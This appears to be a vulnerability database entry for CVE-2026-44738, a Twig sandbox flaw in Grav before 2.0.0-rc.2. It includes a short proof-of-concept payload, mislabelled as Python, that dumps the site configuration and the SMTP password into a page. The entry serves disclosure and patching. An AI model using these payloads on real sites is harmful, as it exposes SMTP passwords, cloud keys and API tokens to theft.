CVE-2026-44738

Description

Grav is a file-based Web platform. Prior to 2.0.0-rc.2, the Twig sandbox allow-list permits any user with the admin.pages role to call config.toArray() from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required. This vulnerability is fixed in 2.0.0-rc.2.

CVSS Details

CVSS Score

7.7

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Grav < 2.0.0-rc.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

{# PoC for CVE-2026-44738: Grav Configuration Dump #}
{# Usage: Embed this Twig code in a page body with 'admin.pages' privileges #}

{{ config.toArray() }}

{# Alternative: Dump specific secrets if known #}
{{ config.system.sitename }} - {{ config.get('plugins.email.smtp.password') }}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44738
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44738
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44738/
[4] VulDB https://vuldb.com/cve/CVE-2026-44738
[5] https://github.com/getgrav/grav/security/advisories/GHSA-j274-39qw-32c9

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44738", "sourceIdentifier": "[email protected]", "published": "2026-05-11T17:16:34.747", "lastModified": "2026-05-11T17:16:34.747", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Grav is a file-based Web platform. Prior to 2.0.0-rc.2, the Twig sandbox allow-list permits any user with the admin.pages role to call config.toArray() from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required. This vulnerability is fixed in 2.0.0-rc.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://github.com/getgrav/grav/security/advisories/GHSA-j274-39qw-32c9", "source": "[email protected]"}]}}